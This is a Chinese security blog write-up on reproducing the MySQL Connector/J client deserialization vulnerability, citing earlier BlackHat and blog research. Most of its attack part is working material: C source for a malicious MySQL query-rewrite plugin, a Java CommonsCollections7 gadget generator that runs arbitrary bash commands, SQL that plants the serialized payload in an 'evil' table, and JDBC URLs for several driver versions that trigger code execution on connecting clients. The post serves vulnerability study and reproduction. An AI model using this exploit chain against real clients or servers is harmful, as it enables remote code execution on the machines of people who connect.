dual mysql 获取序列_MySQL JDBC客户端反序列化漏洞
2024-05-29 10:21:32
标题: MySQL JDBC客户端反序列化漏洞
☆ 背景介绍☆ 学习思路☆ 搭建测试环境☆ 恶意MySQL插件 1) 获取MySQL 5.7.28源码 2) 在rewrite_example基础上修改出evilreplace☆ 测试rewriter插件 1) 安装rewriter.so 2) 在服务端替换SQL查询语句 3) 卸载rewriter.so 4) rewriter插件的局限性☆ 漏洞相关的SQL查询语句 1) SHOW SESSION STATUS 2) SHOW COLLATION☆ 复现漏洞 1) GenerateCommonsCollections7.java 2) 创建恶意表 3) 用evilreplace插件改变SQL查询语句 4) JDBCClient.java 5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor) 5.1) 8.x 5.1.1) 简化版调用关系 5.1.2) mysql-connector-java-8.0.14.pcap 5.2) 6.x 5.2.2) mysql-connector-java-6.0.3.pcap 5.3) 5.1.11及以上版本 5.3.2) mysql-connector-java-5.1.40.pcap 6) MySQL Connector/J 各版本所需URL(detectCustomCollations) 6.1) 5.1.29-5.1.40 6.1.1) 简化版调用关系 6.1.2) mysql-connector-java-5.1.40_d.pcap 6.2) 5.1.19-5.1.28 6.2.2) mysql-connector-java-5.1.19_d.pcap 7) Python版恶意服务端 7.1) fnmsd的实现 7.2) 其他思路☆ 参考资源☆ 背景介绍
2019年11月底Yang Zhang等人在BlackHat上有个议题，提到MySQL JDBC客户端反序列化漏洞，用到ServerStatusDiffInterceptor，参[1]。
2019年12月Welkin给出了部分细节，但当时未解决恶意服务端的组建问题，参[2]。
codeplutos利用修改过的MySQL插件成功组建恶意服务端，这个脑洞开得可以。与此同时，他演示了另一条利用路径，用到detectCustomCollations。需要指出，他的方案原理同时适用于ServerStatusDiffInterceptor、detectCustomCollations，他只以后者举例而已。参[3]。
2020年4月fnmsd分析MySQL Connector/J各版本后给出大一统的总结，给出不同版本所需URL，给了Python版恶意服务端，参[4]。
2020年5月我学习前几位的大作，写了这篇笔记。
☆ 学习思路
先将[1]、[2]、[3]、[4]全看了一遍，没做实验，只是看。对这个洞大概有点数，通过JDBC建立到MySQL服务端的连接时，有几个内置的SQL查询语句被发出，其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()进行反序列化。通过控制结果集，可以在客户端搞事，具体危害视客户端拥有的Gadget环境而定。
这两个查询语句是:
SHOW SESSION STATUS
SHOW COLLATION
利用MySQL插件机制将这两个查询语句在服务端"重定向"成查询恶意表，恶意表中某字段存放恶意Object。
需要安装MySQL，创建恶意表，编译定制过的恶意MySQL插件。写一个通用的JDBC客户端程序，用之访问恶意服务端。用Wireshark抓包，基于抓包数据用Python实现简版恶意服务端，这样可以避免陷入MySQL私有协议细节当中。
☆ 搭建测试环境
参看
《恶意MySQL Server读取MySQL Client端文件》
http://scz.617.cn/network/202001101612.txt
☆ 恶意MySQL插件
1) 获取MySQL 5.7.28源码
https://repo.mysql.com/yum/mysql-5.7-community/el/7/SRPMS/mysql-community-5.7.28-1.el7.src.rpm2) 在rewrite_example基础上修改出evilreplace
$ vi evilreplace.cc
#include #include
#include #include #include #include #include // my_thread_handle needed by mysql_memory.h#include
/* instrument the memory allocation */#ifdef HAVE_PSI_INTERFACEstatic PSI_memory_key key_memory_evilreplace;
static PSI_memory_info all_rewrite_memory[]={ { &key_memory_evilreplace, "evilreplace", 0 }};
static int plugin_init(MYSQL_PLUGIN){ const char* category= "sql"; int count;
count= array_elements(all_rewrite_memory); mysql_memory_register(category, all_rewrite_memory, count); return 0; /* success */}#else#define plugin_init NULL#define key_memory_evilreplace PSI_NOT_INSTRUMENTED#endif /* HAVE_PSI_INTERFACE */
static int rewrite_lower(MYSQL_THD thd, mysql_event_class_t event_class,const void *event){ if (event_class == MYSQL_AUDIT_PARSE_CLASS) { const struct mysql_event_parse *event_parse=static_cast(event); if (event_parse->event_subclass == MYSQL_AUDIT_PARSE_PREPARSE) { if ( ( strcmp( event_parse->query.str, "SHOW SESSION STATUS" ) == 0 ) || ( strcmp( event_parse->query.str, "SHOW COLLATION" ) == 0 ) ) { char evilsql[] = "select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;"; char *rewritten_query = static_cast<char *> ( my_malloc ( key_memory_evilreplace, strlen( evilsql ) + 1, MYF(0) ) ); strcpy( rewritten_query, evilsql ); event_parse->rewritten_query->str = rewritten_query; event_parse->rewritten_query->length = strlen( evilsql ) + 1; *((int *)event_parse->flags) |= (int)MYSQL_AUDIT_PARSE_REWRITE_PLUGIN_QUERY_REWRITTEN; } } }
return 0;}
/* Audit plugin descriptor */static struct st_mysql_audit evilreplace_descriptor={ MYSQL_AUDIT_INTERFACE_VERSION, /* interface version */ NULL, /* release_thd() */ rewrite_lower, /* event_notify() */ { 0, 0, (unsigned long) MYSQL_AUDIT_PARSE_ALL, } /* class mask */};
/* Plugin descriptor */mysql_declare_plugin(audit_log){ MYSQL_AUDIT_PLUGIN, /* plugin type */ &evilreplace_descriptor, /* type specific descriptor */ "evilreplace", /* plugin name */ "Oracle", /* author */ "An example of a query rewrite" " plugin that rewrites all queries" " to lower case", /* description */ PLUGIN_LICENSE_GPL, /* license */ plugin_init, /* plugin initializer */ NULL, /* plugin deinitializer */ 0x0002, /* version */ NULL, /* status variables */ NULL, /* system variables */ NULL, /* reserverd */ 0 /* flags */}mysql_declare_plugin_end;参[3]，codeplutos介绍了Ubuntu 16.04下的MySQL插件编译方案。各发行版的编译过程差别较大，RedHat 7.6上明显不同，建议先搞清楚如何编译MySQL源码，再来编译单个插件。
编译:
/usr/bin/c++ -DHAVE_CONFIG_H -DHAVE_LIBEVENT2 -DMYSQL_DYNAMIC_PLUGIN -D_FILE_OFFSET_BITS=64 \-D_GNU_SOURCE -Devilreplace_EXPORTS -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual \-Wno-unused-parameter -O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF -fPIC \-I//mysql-5.7.28/include \-I//mysql-5.7.28/extra/rapidjson/include \-I//mysql-5.7.28/libbinlogevents/include \-I//mysql-5.7.28/libbinlogevents/export \-isystem //mysql-5.7.28/zlib \-I//mysql-5.7.28/sql \-I//mysql-5.7.28/sql/auth \-I//mysql-5.7.28/regex \-o evilreplace.cc.o \-c evilreplace.cc链接:
/usr/bin/c++ -fPIC -Wall -Wextra -Wformat-security -Wvla -Woverloaded-virtual -Wno-unused-parameter \-O3 -g -fabi-version=2 -fno-omit-frame-pointer -fno-strict-aliasing -DDBUG_OFF \-fPIC -shared -Wl,-soname,evilreplace.so -o evilreplace.so \evilreplace.cc.o -lpthread \//libmysqlservices.a -lpthread☆ 测试rewriter插件
rewriter.so是自带的插件，不需要源码编译。
1) 安装rewriter.so
查看:
/usr/share/mysql/install_rewriter.sql
除了安装rewriter.so，还涉及辅助表和存储过程的创建。
mysql> source /usr/share/mysql/install_rewriter.sql
这会多出query_rewrite库、query_rewrite.rewrite_rules表。
mysql> show plugins;+----------------------------+----------+--------------------+----------------------+---------+| Name | Status | Type | Library | License |+----------------------------+----------+--------------------+----------------------+---------+...| Rewriter | ACTIVE | AUDIT | rewriter.so | GPL |+----------------------------+----------+--------------------+----------------------+---------+
mysql> SHOW GLOBAL VARIABLES LIKE 'rewriter_enabled';+------------------+-------+| Variable_name | Value |+------------------+-------+| rewriter_enabled | ON |+------------------+-------+2) 在服务端替换SQL查询语句
向query_rewrite.rewrite_rules表中插入替换规则:
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('select line from sczdb.SczTable', 'select line from sczdb.scztable limit 1');调用存储过程刷新，使之热生效:
mysql> call query_rewrite.flush_rewrite_rules();测试替换规则:
mysql> select line from sczdb.SczTable;+---------------------------------+| line |+---------------------------------+| root:x:0:0:root:/root:/bin/bash |+---------------------------------+3) 卸载rewriter.so
mysql> source /usr/share/mysql/uninstall_rewriter.sql只有退出当前客户端才彻底卸载rewriter插件，否则其仍在生效中。
4) rewriter插件的局限性
清空表，二选一，推荐后者:
delete from query_rewrite.rewrite_rules;truncate table query_rewrite.rewrite_rules;
mysql> insert into query_rewrite.rewrite_rules(pattern, replacement) values('SHOW SESSION STATUS', 'select * from evildb.eviltable');
mysql> select * from query_rewrite.rewrite_rules;+----+---------------------+------------------+--------------------------------+---------+---------+----------------+--------------------+| id | pattern | pattern_database | replacement | enabled | message | pattern_digest | normalized_pattern |+----+---------------------+------------------+--------------------------------+---------+---------+----------------+--------------------+| 1 | SHOW SESSION STATUS | NULL | select * from evildb.eviltable | YES | NULL | NULL | NULL |+----+---------------------+------------------+--------------------------------+---------+---------+----------------+--------------------+
mysql> call query_rewrite.flush_rewrite_rules();ERROR 1644 (45000): Loading of some rule(s) failed.调用存储过程刷新时意外失败，查看失败原因:
mysql> select message from query_rewrite.rewrite_rules;+-------------------------------------------+| message |+-------------------------------------------+| Pattern needs to be a a select statement. |+-------------------------------------------+pattern必须是select语句，show语句不行。
据说5.7的pattern只支持select，8.0支持insert、update、delete，未实测验证。难怪codeplutos要修改rewrite_example.cc。
☆ 漏洞相关的SQL查询语句
1) SHOW SESSION STATUS
mysql> help SHOW...SHOW COLLATION [like_or_where]...SHOW [GLOBAL | SESSION] STATUS [like_or_where]...If the syntax for a given SHOW statement includes a LIKE 'pattern'part, 'pattern' is a string that can contain the SQL % and _ wildcardcharacters. The pattern is useful for restricting statement output tomatching values.
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show.html
mysql> help SHOW STATUS
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show-status.html"SHOW SESSION STATUS"访问INFORMATION_SCHEMA.SESSION_STATUS表。参[2]，作者说访问INFORMATION_SCHEMA.SESSION_VARIABLES表，他应该说错了。
查看INFORMATION_SCHEMA.SESSION_STATUS表结构:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='SESSION_STATUS';+--------------------+----------------+----------------+---------------+| table_schema | table_name | column_name | column_type |+--------------------+----------------+----------------+---------------+| information_schema | SESSION_STATUS | VARIABLE_NAME | varchar(64) || information_schema | SESSION_STATUS | VARIABLE_VALUE | varchar(1024) |+--------------------+----------------+----------------+---------------+直接访问INFORMATION_SCHEMA.SESSION_STATUS表缺省会失败:
mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;ERROR 3167 (HY000): The 'INFORMATION_SCHEMA.SESSION_STATUS' feature is disabled; see the documentation for 'show_compatibility_56'需要打开一个开关:
mysql> set @@global.show_compatibility_56=ON;
mysql> select * from INFORMATION_SCHEMA.SESSION_STATUS limit 10;mysql> select VARIABLE_NAME,VARIABLE_VALUE from INFORMATION_SCHEMA.SESSION_STATUS limit 10;+----------------------------+----------------+| VARIABLE_NAME | VARIABLE_VALUE |+----------------------------+----------------+| ABORTED_CLIENTS | 1 || ABORTED_CONNECTS | 0 || BINLOG_CACHE_DISK_USE | 0 || BINLOG_CACHE_USE | 0 || BINLOG_STMT_CACHE_DISK_USE | 0 || BINLOG_STMT_CACHE_USE | 0 || BYTES_RECEIVED | 2809 || BYTES_SENT | 11620 || COM_ADMIN_COMMANDS | 0 || COM_ASSIGN_TO_KEYCACHE | 0 |+----------------------------+----------------+2) SHOW COLLATION
mysql> help SHOW COLLATION;
...
URL: https://dev.mysql.com/doc/refman/5.7/en/show-collation.html
mysql> SHOW COLLATION WHERE Charset='latin1';+-------------------+---------+----+---------+----------+---------+| Collation | Charset | Id | Default | Compiled | Sortlen |+-------------------+---------+----+---------+----------+---------+| latin1_german1_ci | latin1 | 5 | | Yes | 1 || latin1_swedish_ci | latin1 | 8 | Yes | Yes | 1 || latin1_danish_ci | latin1 | 15 | | Yes | 1 || latin1_german2_ci | latin1 | 31 | | Yes | 2 || latin1_bin | latin1 | 47 | | Yes | 1 || latin1_general_ci | latin1 | 48 | | Yes | 1 || latin1_general_cs | latin1 | 49 | | Yes | 1 || latin1_spanish_ci | latin1 | 94 | | Yes | 1 |+-------------------+---------+----+---------+----------+---------+"SHOW COLLATION"访问INFORMATION_SCHEMA.COLLATIONS表。
查看INFORMATION_SCHEMA.COLLATIONS表结构:
mysql> select table_schema,table_name,column_name,column_type from information_schema.columns where table_name='COLLATIONS';+--------------------+------------+--------------------+-------------+| table_schema | table_name | column_name | column_type |+--------------------+------------+--------------------+-------------+| information_schema | COLLATIONS | COLLATION_NAME | varchar(32) || information_schema | COLLATIONS | CHARACTER_SET_NAME | varchar(32) || information_schema | COLLATIONS | ID | bigint(11) || information_schema | COLLATIONS | IS_DEFAULT | varchar(3) || information_schema | COLLATIONS | IS_COMPILED | varchar(3) || information_schema | COLLATIONS | SORTLEN | bigint(3) |+--------------------+------------+--------------------+-------------+可以直接访问INFORMATION_SCHEMA.COLLATIONS表，与show_compatibility_56无关。
mysql> show variables like 'show_compatibility_56';+-----------------------+-------+| Variable_name | Value |+-----------------------+-------+| show_compatibility_56 | OFF |+-----------------------+-------+
mysql> select * from INFORMATION_SCHEMA.COLLATIONS limit 5;+------------------+--------------------+----+------------+-------------+---------+| COLLATION_NAME | CHARACTER_SET_NAME | ID | IS_DEFAULT | IS_COMPILED | SORTLEN |+------------------+--------------------+----+------------+-------------+---------+| big5_chinese_ci | big5 | 1 | Yes | Yes | 1 || big5_bin | big5 | 84 | | Yes | 1 || dec8_swedish_ci | dec8 | 3 | Yes | Yes | 1 || dec8_bin | dec8 | 69 | | Yes | 1 || cp850_general_ci | cp850 | 4 | Yes | Yes | 1 |+------------------+--------------------+----+------------+-------------+---------+☆ 复现漏洞
1) GenerateCommonsCollections7.java
/* * javac -encoding GBK -g -cp "commons-collections-3.1.jar" GenerateCommonsCollections7.java * java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.bin */import java.io.*;import java.util.*;import java.lang.reflect.*;import javax.naming.*;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.map.LazyMap;
public class GenerateCommonsCollections7{ /* * ysoserial/CommonsCollections7 */ @SuppressWarnings("unchecked") private static Object getObject ( String cmd ) throws Exception{ Transformer[] tarray = new Transformer[] { new ConstantTransformer( Runtime.class ), new InvokerTransformer ( "getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] } ), new InvokerTransformer ( "invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] } ), new InvokerTransformer ( "exec", new Class[] { String[].class }, new Object[] { new String[] { "/bin/bash", "-c", cmd } } ) }; Transformer tchain = new ChainedTransformer( new Transformer[0] ); Map normalMap_0 = new HashMap(); Map normalMap_1 = new HashMap(); Map lazyMap_0 = LazyMap.decorate( normalMap_0, tchain ); Map lazyMap_1 = LazyMap.decorate( normalMap_1, tchain ); lazyMap_0.put( "scz", "same" ); lazyMap_1.put( "tDz", "same" ); Hashtable ht = new Hashtable(); ht.put( lazyMap_0, "value_0" ); ht.put( lazyMap_1, "value_1" ); lazyMap_1.remove( "scz" ); Field f = ChainedTransformer.class.getDeclaredField( "iTransformers" ); f.setAccessible( true ); f.set( tchain, tarray ); return( ht ); }
public static void main ( String[] argv ) throws Exception{ String cmd = argv[0]; String out = argv[1]; Object obj = getObject( cmd ); FileOutputStream fos = new FileOutputStream( out ); ObjectOutputStream oos = new ObjectOutputStream( fos ); oos.writeObject( obj ); oos.close(); fos.close(); }}java -cp "commons-collections-3.1.jar:." GenerateCommonsCollections7 "/bin/touch /tmp/scz_is_here" /tmp/out.binxxd -p -c 1000000 /tmp/out.bin输出形如:
aced00057372…3178
2) 创建恶意表
DROP TABLE IF EXISTS evildb.eviltable;DROP DATABASE IF EXISTS evildb;
CREATE DATABASE IF NOT EXISTS evildb;CREATE TABLE IF NOT EXISTS evildb.eviltable( evil_1 int(5), evil_2 blob, evil_3 int(5));
set @obj=0xaced00057372...3178;
INSERT INTO evildb.eviltable VALUES (1, @obj, 3);
UPDATE evildb.eviltable SET evil_1=1, evil_2=@obj, evil_3=3;
select lower(hex(evil_2)) from evildb.eviltable;
SHOW GRANTS FOR root;GRANT ALL ON evildb.eviltable TO 'root'@'%';REVOKE ALL ON evildb.eviltable FROM 'root'@'%';evil_1、evil_3也可以用blob类型，填充同样的@obj，触发点略有差异。上面演示的恶意表是最小集，通吃。
3) 用evilreplace插件改变SQL查询语句
用evilreplace插件将来自客户端的:
SHOW SESSION STATUS
SHOW COLLATION
替换成:
select evil_1,evil_2,evil_3 from evildb.eviltable limit 1;参[3]，这是codeplutos的思路，很有想像力，他用了自编译rewrite_example.so。
INSTALL PLUGIN evilreplace SONAME 'evilreplace.so';
SHOW SESSION STATUS;SHOW COLLATION;
UNINSTALL PLUGIN evilreplace;4) JDBCClient.java
/* * javac -encoding GBK -g JDBCClient.java */import java.io.*;import java.sql.*;
public class JDBCClient{ public static void main ( String[] argv ) throws Exception{ String url = argv[0]; Connection conn = DriverManager.getConnection( url ); }}JDBCClient.java无需显式代码:
Class.forName( "com.mysql.cj.jdbc.Driver" );5) MySQL Connector/J 各版本所需URL(ServerStatusDiffInterceptor)
参[4]，fnmsd分析了各种版本所需URL。
5.1) 8.x
java \-cp "mysql-connector-java-8.0.14.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"5.1.1) 简化版调用关系
DriverManager.getConnection // 8u232+8.0.14 DriverManager.getConnection // DriverManager:270 NonRegisteringDriver.connect // DriverManager:664 ConnectionImpl.getInstance // NonRegisteringDriver:199 ConnectionImpl. // ConnectionImpl:240 ConnectionImpl.initializeSafeQueryInterceptors // ConnectionImpl:448 ConnectionImpl.createNewIO // ConnectionImpl:455 ConnectionImpl.connectOneTryOnly // ConnectionImpl:825 ConnectionImpl.initializePropsFromServer // ConnectionImpl:966 ConnectionImpl.handleAutoCommitDefaults // ConnectionImpl:1327 ConnectionImpl.setAutoCommit // ConnectionImpl:1382 NativeSession.execSQL // ConnectionImpl:2064// 查询语句"SET autocommit=1" NativeProtocol.sendQueryString // NativeSession:1154 NativeProtocol.sendQueryPacket // NativeProtocol:921if (this.queryInterceptors != null) // NativeProtocol:969 NativeProtocol.invokeQueryInterceptorsPre // NativeProtocol:970 NoSubInterceptorWrapper.preProcess // NativeProtocol:1144 ServerStatusDiffInterceptor.preProcess// NoSubInterceptorWrapper:76 ServerStatusDiffInterceptor.populateMapWithSessionStatusValues// ServerStatusDiffInterceptor:105 rs = stmt.executeQuery("SHOW SESSION STATUS")// ServerStatusDiffInterceptor:86// 自动提交SQL查询 ResultSetUtil.resultSetToMap // ServerStatusDiffInterceptor:87 ResultSetImpl.getObject // ResultSetUtil:46// mappedValues.put(rs.getObject(1), rs.getObject(2))// 处理结果集中第1、2列if ((field.isBinary()) || (field.isBlob()))// ResultSetImpl:1314 byte[] data = getBytes(columnIndex)// ResultSetImpl:1315if (this.connection.getPropertySet().getBooleanProperty(PropertyKey.autoDeserialize).getValue())// ResultSetImpl:1317// 要求autoDeserialize等于true ObjectInputStream.readObject // ResultSetImpl:1326// obj = objIn.readObject(); Hashtable.readObject // ysoserial/CommonsCollections7 Hashtable.reconstitutionPut AbstractMapDecorator.equals AbstractMap.equals LazyMap.get // 此处开始LazyMap利用链 ChainedTransformer.transform InvokerTransformer.transform Runtime.execif (this.queryInterceptors != null) // NativeProtocol:1109 NativeProtocol.invokeQueryInterceptorsPost// NativeProtocol:11105.1.2) mysql-connector-java-8.0.14.pcap
请自行抓包，此处略
5.2) 6.x
queryInterceptors => statementInterceptors
java \-cp "mysql-connector-java-6.0.3.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor"5.2.2) mysql-connector-java-6.0.3.pcap
请自行抓包，此处略
5.3) 5.1.11及以上版本
com.mysql.cj. => com.mysql.
java \-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor"5.3.2) mysql-connector-java-5.1.40.pcap
请自行抓包，此处略
6) MySQL Connector/J 各版本所需URL(detectCustomCollations)
参[3]，触发方式是codeplutos提供的。重点看这个函数:
com.mysql.jdbc.ConnectionImpl.buildCollationMapping()参[4]，fnmsd分析了各种版本所需URL。
6.1) 5.1.29-5.1.40
java \-cp "mysql-connector-java-5.1.40.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true&detectCustomCollations=true"会抛异常，但恶意代码已被执行。
6.1.1) 简化版调用关系
DriverManager.getConnection // 8u232+5.1.40 DriverManager.getConnection // DriverManager:270 NonRegisteringDriver.connect // DriverManager:664 ConnectionImpl.getInstance // NonRegisteringDriver:328 Util.handleNewInstance // ConnectionImpl:410 Constructor.newInstance // Util:425JDBC4Connection.<init>ConnectionImpl.<init> // JDBC4Connection:47ConnectionImpl.initializeSafeStatementInterceptors // ConnectionImpl:805ConnectionImpl.createNewIO // ConnectionImpl:806ConnectionImpl.connectOneTryOnly // ConnectionImpl:2083ConnectionImpl.initializePropsFromServer // ConnectionImpl:2297if (versionMeetsMinimum(3, 21, 22)) // ConnectionImpl:3282ConnectionImpl.buildCollationMapping // ConnectionImpl:3291if ((versionMeetsMinimum(4, 1, 0)) && (getDetectCustomCollations()))// ConnectionImpl:944// 5.1.28版只检查版本号，未检查detectCustomCollations属性results = stmt.executeQuery("SHOW COLLATION")// ConnectionImpl:957// 自动提交SQL查询if (versionMeetsMinimum(5, 0, 0)) // ConnectionImpl:958Util.resultSetToMap // ConnectionImpl:959// Util.resultSetToMap(sortedCollationMap, results, 3, 2)// 处理结果集中第3、2列ResultSetImpl.getObject // Util:474// mappedValues.put(rs.getObject(key), rs.getObject(value))ResultSetImpl.getObjectDeserializingIfNeeded// ResultSetImpl:4544byte[] data = getBytes(columnIndex) // ResultSetImpl:4568ObjectInputStream.readObject // ResultSetImpl:4579// obj = objIn.readObject()Hashtable.readObject // ysoserial/CommonsCollections7Hashtable.reconstitutionPutAbstractMapDecorator.equalsAbstractMap.equalsLazyMap.get // 此处开始LazyMap利用链ChainedTransformer.transformInvokerTransformer.transformRuntime.exec6.1.2) mysql-connector-java-5.1.40_d.pcap
请自行抓包，此处略
6.2) 5.1.19-5.1.28
不需要指定"detectCustomCollations=true"
java \-cp "mysql-connector-java-5.1.19.jar:commons-collections-3.1.jar:." \JDBCClient "jdbc:mysql://192.168.65.23:3306/evildb?useSSL=false&user=root&password=123456&\autoDeserialize=true"6.2.2) mysql-connector-java-5.1.19_d.pcap
请自行抓包，此处略
7) Python版恶意服务端
7.1) fnmsd的实现
https://github.com/fnmsd/MySQL_Fake_Server
他这个实现同时支持ServerStatusDiffInterceptor、detectCustomCollations，还支持"恶意MySQL Server读取MySQL Client端文件"，只需要Python3。
他在"踩过的坑"里写了一些值得注意的点，有兴趣者可以看他的源码。
7.2) 其他思路
fnmsd的实现，功能完备。如果只是想搞标题所说漏洞，我说个别的思路。可以基于Gifts版本实现反序列化恶意服务端:
https://github.com/Gifts/Rogue-MySql-Server
ServerStatusDiffInterceptor适用范围包含detectCustomCollations适用范围，为了减少麻烦，可以只支持ServerStatusDiffInterceptor。具体来说，就是只特殊响应"SHOW SESSION STATUS"，不特殊响应"SHOW COLLATION"。
基于三次抓包组织响应报文:
mysql-connector-java-5.1.40.pcap
mysql-connector-java-6.0.3.pcap
mysql-connector-java-8.0.14.pcap
要点如下:
5.1.11及以上版本6.x
特殊响应"SHOW SESSION STATUS"，然后必须特殊响应随后而来的 "SHOW WARNINGS"。8.x 按抓包所示响应初始查询: /* mysql-connector-java-8.0.14 (Revision: 36534fa273b4d7824a8668ca685465cf8eaeadd9) */SELECT ... 然后按抓包所示响应随后而来的"SHOW WARNINGS"。 特殊响应"SHOW SESSION STATUS"，然后必须特殊响应随后而来的 "SHOW WARNINGS"。这种搞法的好处是不用特别理解MySQL私有协议，fnmsd"踩过的坑"你都不会碰上。
十多年前我们按协议规范组织SMB报文时，有天看到某人在PoC里用了一个变量名，叫sendcode，他实际是把Ethereal抓包看到数据直接投放出来。当时我们很震惊，不是佩服得震惊。后来觉得某些场景下这样干，也没什么可鄙视的。
基于三次抓包组织响应报文的思路，跟sendcode异曲同工，比你想像得要通用。
当然，如果不是特别好奇，还是用fnmsd的实现吧。
☆ 参考资源
[1] New Exploit Technique In Java Deserialization Attack - Yang Zhang [2019-11-26] https://i.blackhat.com/eu-19/Thursday/eu-19-Zhang-New-Exploit-Technique-In-Java-Deserialization-Attack.pdf
[2] JDBC导致的反序列化攻击 - Welkin [2019-12-17] https://www.cnblogs.com/Welk1n/p/12056097.html
[3] https://github.com/codeplutos/MySQL-JDBC-Deserialization-Payload
[4] MySQL JDBC客户端反序列化漏洞分析 - fnmsd [2020-04-15] https://www.anquanke.com/post/id/203086 https://blog.csdn.net/fnmsd/article/details/106232092
https://github.com/fnmsd/MySQL_Fake_Server
[5] 6.2 Connection URL Syntax https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-jdbc-url-format.html
6.3 Configuration Properties https://dev.mysql.com/doc/connector-j/8.0/en/connector-j-reference-configuration-properties.html
13.7.5.25 SHOW PLUGINS Statement https://dev.mysql.com/doc/refman/5.7/en/show-plugins.html
24.10 The INFORMATION_SCHEMA GLOBAL_STATUS and SESSION_STATUS Tables https://dev.mysql.com/doc/refman/5.7/en/status-table.html
14.6.4.1 COM_QUERY Response https://dev.mysql.com/doc/internals/en/com-query-response.html
14.7.3 Binary Protocol Value https://dev.mysql.com/doc/internals/en/binary-protocol-value.html
14.12.2 ProtocolText::Resultset https://dev.mysql.com/doc/internals/en/protocoltext-resultset.html本篇TXT原文:
http://scz.617.cn/network/202005262206.txt
dual mysql 获取序列_MySQL JDBC客户端反序列化漏洞相关推荐
- dual mysql 获取序列_MySQL获取周、月、天日期，生成排序号
常用MySQL生成时间序列 --生成最近七天的日期,不包括当天 SELECT @cdate := date_add(@cdate, interval - 1 day) as date FROM(SEL ...
- MySQL JDBC 客户端反序列化漏洞分析
首发安全客:https://www.anquanke.com/post/id/203086 这几天学习了BlackHat Europe 2019的议题<New Exploit Technique ...
- dual mysql 获取序列_如何使用mysql 一次查询多个序列
postgresql使用的sql语句如下:selectt.seqValuefrom(selectnextval('seq_attr_id')seqValue,generate_series(1,5)s ...
- mysql 获取天数_MySQL获取某月份的天数
1.last_day(curdate());获取当月最后一天. 2.DAYOFMONTH(last_day(curdate())); 返回date对应的该月日期.当然这就是当月的天数. 这就出来当月天 ...
- mysql获取表_MySQL获取表格信息
MySQL获取表格信息 mysql> use test; Database changed mysql> show table status; +---------------+----- ...
- mysql获取时间戳_mysql 获取当前时间戳
mysql 获取当前时间为select now() 运行结果: 2012-09-05 17:24:15 mysql 获取当前时间戳为select unix_timestamp(now()) 运行结果: ...
- MySQL获取连接_MySQL 连接查询超全详解
1 作用 在MySQL中join操作被称为连接,作用是能连接多个表的数据(通过连接条件),从多个表中获取数据合并在一起作为结果集返回给客户端.例如: 表A: id name age 1 A 18 2 ...
- jdbc mysql emoji 读取_mysql+jdbc的emoji异常问题
就是mysq支持emoji编码的问题,我已经按照这篇文章:mysql/Java服务端对emoji的支持所说的办法升级mysql和connector但问题还是没解决,希望高手指点. mysql 版本:5 ...
- jdbc mysql 换行符_mysql JDBC URL格式各个参数详解
mysql JDBC URL格式如下: jdbc:mysql://[host:port],[host:port].../[database][?参数名1][=参数值1][&参数名2][=参数值 ...
最新文章
- Centos 安装 Solr
- more 目录linux,linux（二）目录结构、文件基本操作cat\more\less、环境变量、文件搜索...
- 从send函数和sendto函数参数的不同看TCP和UDP的差别
- 找出无序数组中最小的k个数（top k问题）
- Android系统性能优化（71）---关于Bitmap图片资源优化的小事
- 蓝牙耳机哪个牌子好？国庆出游蓝牙耳机推荐
- discuz模板文件说明
- 错误代码：88000, 错误信息：without comment privilege hint: [7oJ0533w689] rid: 630432cd-15944cf6-083e04fc
- 第三课 排序算法LowB三人组
- 哈斯图的画法，以及利用哈斯图寻找极大元之类
- Python 将图片合成视频
- 进程和线程的几种通信方式
- csdn怎么了？？？
- 【Spring源码三千问】Bean的Scope有哪些？scope=request是什么原理？
- FE内容付费系统源码
- IntelliJ IDEA 安装和使用
- CNN实战：猫狗大战
- 【C语言】动态内存分配详解
- 国密算法java源码_国密算法SM2证书制作
- 深度学习与撩妹的套路 看到还不错的引导思考代入的文章、mark一下